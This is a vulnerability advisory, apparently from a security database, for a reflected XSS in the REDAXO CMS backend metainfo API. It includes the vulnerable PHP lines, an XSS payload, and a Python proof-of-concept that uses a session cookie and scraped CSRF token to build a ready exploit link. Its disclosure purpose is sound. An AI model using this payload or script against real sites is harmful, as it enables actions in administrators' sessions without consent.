PT-2026-33898 · Packagist · Redaxo/Source
Publicado
2026-04-10
·
Atualizado
2026-04-10
CVSS v4.0
2.1
Baixa
| Vetor | AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N |
Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The
type parameter is concatenated into an API error message and rendered without HTML escaping.Details
Root cause
User input
type is injected into an exception message, then rendered by rex view::error() which delegates to rex view::message() without HTML escaping.Vulnerable code (
redaxo/src/addons/metainfo/lib/handler/api default fields.php) :php
$type = rex get('type', 'string');
throw new rex api exception(sprintf('metainfo type "%s" does not have default field.', $type));Sink (
redaxo/src/core/lib/view.php) :php
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';Data flow source -> sink
- Source :
type(GET) - Propagation : concatenated into the exception message
- Sink : rendered via
rex view::error()->rex view::message()without escaping
Authentication required : yes (backend session)
PoC - exploit
python
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET URL = "http://poc.local/"
BACKEND PATH = "redaxo/index.php"
SESSION ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY SSL = False
TIMEOUT = 15
PAYLOAD = '"><svg/onload=alert("pwned")>'
def build backend url() -> str:
base = TARGET URL.rstrip("/")
return f"{base}/{BACKEND PATH.lstrip('/')}"
def extract api csrf(html text: str) -> str:
m = re.search(r'rex-api-call=metainfo default fields create[^"']+', html text)
if not m:
raise RuntimeError("Could not find the metainfo default fields create API link in the page HTML.")
fragment = m.group(0).replace("&", "&")
token match = re.search(r" csrf token=([^&]+)", fragment)
if not token match:
raise RuntimeError("CSRF token for metainfo default fields create was not found in the extracted link.")
return token match.group(1)
def set session cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION ID, domain=parsed.hostname, path="/")
def main() -> None:
backend url = build backend url()
s = requests.Session()
set session cookie(s)
# Admin backend session required
r0 = s.get(backend url, timeout=TIMEOUT, verify=VERIFY SSL)
if "rex-page-login" in r0.text or "rex user login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION ID with a valid backend session.")
return
r = s.get(backend url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY SSL)
if r.status code != 200:
print(f"[!] Failed to access metainfo page (HTTP {r.status code}).")
return
api token = extract api csrf(r.text)
params = {
"page": "metainfo/articles",
"rex-api-call": "metainfo default fields create",
"type": PAYLOAD,
" csrf token": api token,
}
exploit url = f"{backend url}?{urllib.parse.urlencode(params)}"
print(exploit url)
if name == " main ":
main()
The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.
Impact
- Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Video
Correção
XSS
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Redaxo/Source